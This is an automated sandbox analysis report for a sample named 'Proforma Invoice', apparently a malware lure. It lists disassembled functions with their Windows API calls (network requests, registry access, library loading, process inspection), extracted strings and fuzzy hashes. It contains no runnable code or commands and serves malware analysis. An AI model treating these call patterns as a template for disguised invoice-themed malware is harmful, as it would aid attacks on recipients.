Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: ItemMenu$Info$Default_memset_wcscpy
String ID: 0
API String ID: 4152858687-4108050209
Opcode ID: a319784d41d07699892b0c28346841711662e512651e87344944fd32bba54cc4
Instruction ID: e392befc35e251a0f67ff9785b1b2226e5da4728a2a5b6920af5f116aa31b879
Opcode Fuzzy Hash: a319784d41d07699892b0c28346841711662e512651e87344944fd32bba54cc4
Instruction Fuzzy Hash: E651E172208301DAE7649F28C848A6FB7E8EF49314F144B2DF895D31D2DB78CC069B66

Function 006B3137 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 161COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 006B3277
_memmove.LIBCMT ref: 006B3310
_free.LIBCMT ref: 006B3336
_memmove.LIBCMT ref: 006B33E9

Strings

3ck, xrefs: 006B3225
_k, xrefs: 006B3322

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: _memmove$_free
String ID: 3ck$_k
API String ID: 2620147621-2131593748
Opcode ID: e6e5fc2e723d994dd48a65bc2f1b46c86c1b22c37e6366a0b724ca9e9e9c92cb
Instruction ID: 477b2046fdea4c7f00fe818cc35d9f6db84c2f8c5c83e338be28a0523406c2f9
Opcode Fuzzy Hash: e6e5fc2e723d994dd48a65bc2f1b46c86c1b22c37e6366a0b724ca9e9e9c92cb
Instruction Fuzzy Hash: C4517BB16183518FDB65CF28C841BAEBBE6EF85310F08482DE98987351EB31E941CB42

Function 006B6192 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 141COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 006B6248
_memmove.LIBCMT ref: 006B62E4
_memset.LIBCMT ref: 006B6308

Strings

ERCP, xrefs: 006B61B3
3ck, xrefs: 006B62AF

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: _memset$_memmove
String ID: 3ck$ERCP
API String ID: 2532777613-4051809329
Opcode ID: aad7176214e5f13588f213250bb2e51b1b15385af02a7199242c20f351805a7b
Instruction ID: 98d1cc1f2de60f264145001eb3e30e05e30c008c677c95071fb7bc7536900b01
Opcode Fuzzy Hash: aad7176214e5f13588f213250bb2e51b1b15385af02a7199242c20f351805a7b
Instruction Fuzzy Hash: F55183B1900709DBEB24CF55C941BEAB7F6EF04314F20457EE94AC7251E778AA85CB40

Function 00702753 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 114windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 007027C0
GetMenuItemInfoW.USER32(00000004,00000000,00000000,?), ref: 007027DC
DeleteMenu.USER32(?,00000007,00000000), ref: 00702822
DeleteMenu.USER32(?,00000000,00000000,?,00000000,00000000,00765890,00000000), ref: 0070286B

Strings

0, xrefs: 007027B5

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Menu$Delete$InfoItem_memset
String ID: 0
API String ID: 1173514356-4108050209
Opcode ID: a0b222a804ccaa3040e91b297c143128361e6025e8d0c1d80447ff2a67f0f185
Instruction ID: 2d3be8aeef2568f7a2f0c126faa4838fd3c90c8a321a413df3bb2c26654f96d0
Opcode Fuzzy Hash: a0b222a804ccaa3040e91b297c143128361e6025e8d0c1d80447ff2a67f0f185
Instruction Fuzzy Hash: 2A41A076204301DFD720DF24C848B1ABBE8EF85314F148A6DF965972D2D738A806CB66

Function 0071D7A5 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 101COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?,?,?,00000000,?,?), ref: 0071D7C5

Part of subcall function 006A784B: _memmove.LIBCMT ref: 006A7899

Strings

none, xrefs: 0071D8A0
winapi, xrefs: 0071D836
stdcall, xrefs: 0071D847
cdecl, xrefs: 0071D81C

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: BuffCharLower_memmove
String ID: cdecl$none$stdcall$winapi
API String ID: 3425801089-567219261
Opcode ID: 823804ff72f759900ced8e4fcbd54aef264400cb564aad38fbcffa7cd93b8ea8
Instruction ID: 10c68b1dfb9f7af07a9eddd899af9b9ee5bf65039acf95fe4c39da58e634c5c2
Opcode Fuzzy Hash: 823804ff72f759900ced8e4fcbd54aef264400cb564aad38fbcffa7cd93b8ea8
Instruction Fuzzy Hash: A8317A71904219ABCF10EF98C8519EEB3B6FF05320B10862DE826976D1DB75AD45CF80

Function 006F8E90 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 94windowCOMMON

Download Yara Rule

APIs

Part of subcall function 006A7DE1: _memmove.LIBCMT ref: 006A7E22

Part of subcall function 006FAA99: GetClassNameW.USER32(?,?,000000FF), ref: 006FAABC

SendMessageW.USER32(?,00000188,00000000,00000000), ref: 006F8F14
SendMessageW.USER32(?,0000018A,00000000,00000000), ref: 006F8F27
SendMessageW.USER32(?,00000189,?,00000000), ref: 006F8F57

Part of subcall function 006A7BCC: _memmove.LIBCMT ref: 006A7C06

Strings

ListBox, xrefs: 006F8ED3
ComboBox, xrefs: 006F8E9E

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: MessageSend$_memmove$ClassName
String ID: ComboBox$ListBox
API String ID: 365058703-1403004172
Opcode ID: 51eaf9afe8ae48f05e9f7eaf32fdb3e981a8d39ce5661a274677e5b9622a01b2
Instruction ID: db1b55562f97850fb40006dd1a1966a67e1821b32df3e9f66f5db1bf7fd58cdf
Opcode Fuzzy Hash: 51eaf9afe8ae48f05e9f7eaf32fdb3e981a8d39ce5661a274677e5b9622a01b2
Instruction Fuzzy Hash: 9721F2B1A05108BEDB14ABA09C45DFFB77ADF06360F00412DF925972E0DB391C0ADA24

Function 0071182D Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 86networkCOMMON

Download Yara Rule

APIs

InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 0071184C
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00711872
HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 007118A2
InternetCloseHandle.WININET(00000000), ref: 007118E9

Part of subcall function 00712483: GetLastError.KERNEL32(?,?,00711817,00000000,00000000,00000001), ref: 00712498
Part of subcall function 00712483: SetEvent.KERNEL32(?,?,00711817,00000000,00000000,00000001), ref: 007124AD

Strings

, xrefs: 00711893

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: HttpInternet$CloseErrorEventHandleInfoLastOpenQueryRequestSend
String ID:
API String ID: 3113390036-3916222277
Opcode ID: abd4b10e2eb60cb4f34d2001689769467ae2d2fe4b225e602b38b65240bcd4a2
Instruction ID: 7e3253cf32ad9f532d720a238b3a4df0a3354330f72648a98ea146e086e64888
Opcode Fuzzy Hash: abd4b10e2eb60cb4f34d2001689769467ae2d2fe4b225e602b38b65240bcd4a2
Instruction Fuzzy Hash: 2921C2B1500308BFEB119F68CC85EFF77FDEB48754F50812AF905AA280DB289E4597A5

Function 007263E7 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 80windowlibraryCOMMON

Download Yara Rule

APIs

Part of subcall function 006A1D35: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 006A1D73
Part of subcall function 006A1D35: GetStockObject.GDI32(00000011), ref: 006A1D87
Part of subcall function 006A1D35: SendMessageW.USER32(00000000,00000030,00000000), ref: 006A1D91

SendMessageW.USER32(00000000,00000467,00000000,?), ref: 00726461
LoadLibraryW.KERNEL32(?), ref: 00726468
SendMessageW.USER32(?,00000467,00000000,00000000), ref: 0072647D
DestroyWindow.USER32(?), ref: 00726485

Strings

SysAnimate32, xrefs: 0072643C

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: MessageSend$Window$CreateDestroyLibraryLoadObjectStock
String ID: SysAnimate32
API String ID: 4146253029-1011021900
Opcode ID: 59132fdb9db3d85bd6c9db10d314f347df84ea4d5a0e587ede504eda3b31e2bd
Instruction ID: a914507b8a5f9e3557b589751c932419c2b07d78cc27000117dc1965c3dc11bb
Opcode Fuzzy Hash: 59132fdb9db3d85bd6c9db10d314f347df84ea4d5a0e587ede504eda3b31e2bd
Instruction Fuzzy Hash: 1821CD71200265FFEF10AF64EC84EBB77ADEF59724F10862AFA9092090D779DD41A720

Function 00706D9C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79filepipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(0000000C), ref: 00706DBC
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00706DEF
GetStdHandle.KERNEL32(0000000C), ref: 00706E01
CreateFileW.KERNEL32(nul,40000000,00000002,0000000C,00000003,00000080,00000000), ref: 00706E3B

Strings

nul, xrefs: 00706E36

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: CreateHandle$FilePipe
String ID: nul
API String ID: 4209266947-2873401336
Opcode ID: 75520b70230e778a1757f8dd572303fa54bcfc9979cf62196dfa2f0bc7ccc750
Instruction ID: 0b5ee238bba5f92c2405f620c711bca85ccc39e4fdcfa308bdfca91338c0b9c7
Opcode Fuzzy Hash: 75520b70230e778a1757f8dd572303fa54bcfc9979cf62196dfa2f0bc7ccc750
Instruction Fuzzy Hash: 42217C7460030AEBDB209F29D815A9A7BF4FF45720F204B29FDA0D72D0DB7899618B64

Function 00706E6A Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79filepipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F6), ref: 00706E89
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00706EBB
GetStdHandle.KERNEL32(000000F6), ref: 00706ECC
CreateFileW.KERNEL32(nul,80000000,00000001,0000000C,00000003,00000080,00000000), ref: 00706F06

Strings

nul, xrefs: 00706F01

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: CreateHandle$FilePipe
String ID: nul
API String ID: 4209266947-2873401336
Opcode ID: e9f0616c8febb4fcd2da202eb8cb6cd61635e4fb96e4084555e6959073fd5df9
Instruction ID: bbe164ebb32cab3c14077369ceb22775ab805e1f473d57e944c0d6c6e237049b
Opcode Fuzzy Hash: e9f0616c8febb4fcd2da202eb8cb6cd61635e4fb96e4084555e6959073fd5df9
Instruction Fuzzy Hash: 65219079500305DBDB209F69DC14A9A77E8BF45724F204B29FCA0D72D0E774A8618B60

Function 0070AC40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 0070AC54
GetVolumeInformationW.KERNEL32(?,?,00007FFF,?,00000000,00000000,00000000,00000000), ref: 0070ACA8
__swprintf.LIBCMT ref: 0070ACC1
SetErrorMode.KERNEL32(00000000,00000001,00000000,0072F910), ref: 0070ACFF

Strings

%lu, xrefs: 0070ACBB

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: ErrorMode$InformationVolume__swprintf
String ID: %lu
API String ID: 3164766367-685833217
Opcode ID: 0e2c59b014fc41c2625a1da5afd180c861ca558216957d21cb4f5e69bf0bd53c
Instruction ID: 6da662c823cf8884cdd32508d763704661194f5b7d43ce54acffa02454d1c116
Opcode Fuzzy Hash: 0e2c59b014fc41c2625a1da5afd180c861ca558216957d21cb4f5e69bf0bd53c
Instruction Fuzzy Hash: 70219D70A00209EFCB50EF64C945EAFBBB9EF49314B108069F909AB251DA75EE41CB25

Function 00701142 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,006FFCED,?,00700D40,?,00008000), ref: 0070115F
Sleep.KERNEL32(00000000,?,?,?,?,?,?,006FFCED,?,00700D40,?,00008000), ref: 00701184
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,006FFCED,?,00700D40,?,00008000), ref: 0070118E
Sleep.KERNEL32(?,?,?,?,?,?,?,006FFCED,?,00700D40,?,00008000), ref: 007011C1

Strings

@p, xrefs: 0070119D

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: CounterPerformanceQuerySleep
String ID: @p
API String ID: 2875609808-1785748387
Opcode ID: 2b7b431b70d5f01c89073f204c1f427b2f7f6aa2ae0b647fdbbb0419cd0b6895
Instruction ID: ff816a3e16ce2bebb2f91a6ef7d997893006d1dae4d7e8f2f2de074830e6165e
Opcode Fuzzy Hash: 2b7b431b70d5f01c89073f204c1f427b2f7f6aa2ae0b647fdbbb0419cd0b6895
Instruction Fuzzy Hash: 7811A131C0061CE7CF04DFA4D848AEEBFB8FF09711F808165EA40B2280CB789561CB95

Function 00701AE8 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 49COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00701B19

Strings

APPEND, xrefs: 00701B52
KEYS, xrefs: 00701B30
REMOVE, xrefs: 00701B1F
EXISTS, xrefs: 00701B41

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: BuffCharUpper
String ID: APPEND$EXISTS$KEYS$REMOVE
API String ID: 3964851224-769500911
Opcode ID: a2e709c9bd93a43c553908eea02e5737244be290fc237b65cc482c5102c708ef
Instruction ID: b72313ebd24f84dc9f83002d07d955ffbeaa5814514be267e8b8bca8cb21491e
Opcode Fuzzy Hash: a2e709c9bd93a43c553908eea02e5737244be290fc237b65cc482c5102c708ef
Instruction Fuzzy Hash: 13115E70900208CFCF40EF94D8519FEB7B5FF26308B548569D82567292EB365D1ACB54

Function 0071EB55 Relevance: 7.7, APIs: 5, Instructions: 247COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 0071EC07
GetProcessIoCounters.KERNEL32(00000000,?), ref: 0071EC37
GetProcessMemoryInfo.PSAPI(00000000,?,00000028), ref: 0071ED6A
CloseHandle.KERNEL32(?), ref: 0071EDEB

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Process$CloseCountersHandleInfoMemoryOpen
String ID:
API String ID: 2364364464-0
Opcode ID: 78e93738f43be325c070db75ee8c20283544c901272c17efd0e9324c52a2652c
Instruction ID: db52d7e503d36ebc124f5b0f13199c42508fc8f1e522a3fa097d8e78ec145c5e
Opcode Fuzzy Hash: 78e93738f43be325c070db75ee8c20283544c901272c17efd0e9324c52a2652c
Instruction Fuzzy Hash: 7B81A0716003009FD760EF28C886F6AB7E6AF89710F14891DF999DB2D2DA74AC40CF55

Function 00720037 Relevance: 7.6, APIs: 5, Instructions: 144registryCOMMON

Download Yara Rule

APIs

Part of subcall function 006A7DE1: _memmove.LIBCMT ref: 006A7E22

Part of subcall function 00720E1A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,0071FDAD,?,?), ref: 00720E31

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 007200FD
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 0072013C
RegEnumKeyExW.ADVAPI32(?,-00000001,?,?,00000000,00000000,00000000,?), ref: 00720183
RegCloseKey.ADVAPI32(?,?), ref: 007201AF
RegCloseKey.ADVAPI32(00000000), ref: 007201BC

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Close$BuffCharConnectEnumOpenRegistryUpper_memmove
String ID:
API String ID: 3440857362-0
Opcode ID: b7148f1462771586871dbfac4e27740c16ef572d11ca75cedb5be127d9f1b6ad
Instruction ID: 2ecbb7fa6d21d773670d2e09f282f67648faced67dee8dc169edffa10978b489
Opcode Fuzzy Hash: b7148f1462771586871dbfac4e27740c16ef572d11ca75cedb5be127d9f1b6ad
Instruction Fuzzy Hash: 50515A31208208AFC714EF64D881E6EB7EAFF84304F40492DF59587292DB35ED15CBA6

Function 0071D8C8 Relevance: 7.6, APIs: 5, Instructions: 139libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 006A9837: __itow.LIBCMT ref: 006A9862
Part of subcall function 006A9837: __swprintf.LIBCMT ref: 006A98AC

LoadLibraryW.KERNEL32(?,?,?,00000000,?,?,?,?,?,?,?,?), ref: 0071D927
GetProcAddress.KERNEL32(00000000,?), ref: 0071D9AA
GetProcAddress.KERNEL32(00000000,00000000), ref: 0071D9C6
GetProcAddress.KERNEL32(00000000,?), ref: 0071DA07
FreeLibrary.KERNEL32(00000000,?,?,00000000,?,?,?,?,?,?,?,?), ref: 0071DA21

Part of subcall function 006A5A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00707896,?,?,00000000), ref: 006A5A2C
Part of subcall function 006A5A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,00707896,?,?,00000000,?,?), ref: 006A5A50

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: AddressProc$ByteCharLibraryMultiWide$FreeLoad__itow__swprintf
String ID:
API String ID: 327935632-0
Opcode ID: 0d4282c302f7968180b7eb38957497f0819161b8c7934e7fb834b34c4bcdd5e9
Instruction ID: 0992b6c29ea002dfc8f5123f91732f97df2e932f51806b0fc72a7115222be8ee
Opcode Fuzzy Hash: 0d4282c302f7968180b7eb38957497f0819161b8c7934e7fb834b34c4bcdd5e9
Instruction Fuzzy Hash: A4512635A00209DFCB50EFA8C4849AEB7B5FF09320B54C069E956AB352DB35ED85CF94

Function 0070E571 Relevance: 7.6, APIs: 5, Instructions: 135COMMON

Download Yara Rule

APIs

GetPrivateProfileSectionW.KERNEL32(00000003,?,00007FFF,?), ref: 0070E61F
GetPrivateProfileSectionW.KERNEL32(?,00000001,00000003,?), ref: 0070E648
WritePrivateProfileSectionW.KERNEL32(?,?,?), ref: 0070E687

Part of subcall function 006A9837: __itow.LIBCMT ref: 006A9862
Part of subcall function 006A9837: __swprintf.LIBCMT ref: 006A98AC

WritePrivateProfileStringW.KERNEL32(00000003,00000000,00000000,?), ref: 0070E6AC
WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 0070E6B4

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: PrivateProfile$SectionWrite$String$__itow__swprintf
String ID:
API String ID: 1389676194-0
Opcode ID: 3180bd0406921325db6b5b44d7602b8afff10d0788db7ee28ca7ae166de57ac4
Instruction ID: f29459b9ef3dee4f415d0ca228312f1a827d823e4e745f0a319bf8956f24a72e
Opcode Fuzzy Hash: 3180bd0406921325db6b5b44d7602b8afff10d0788db7ee28ca7ae166de57ac4
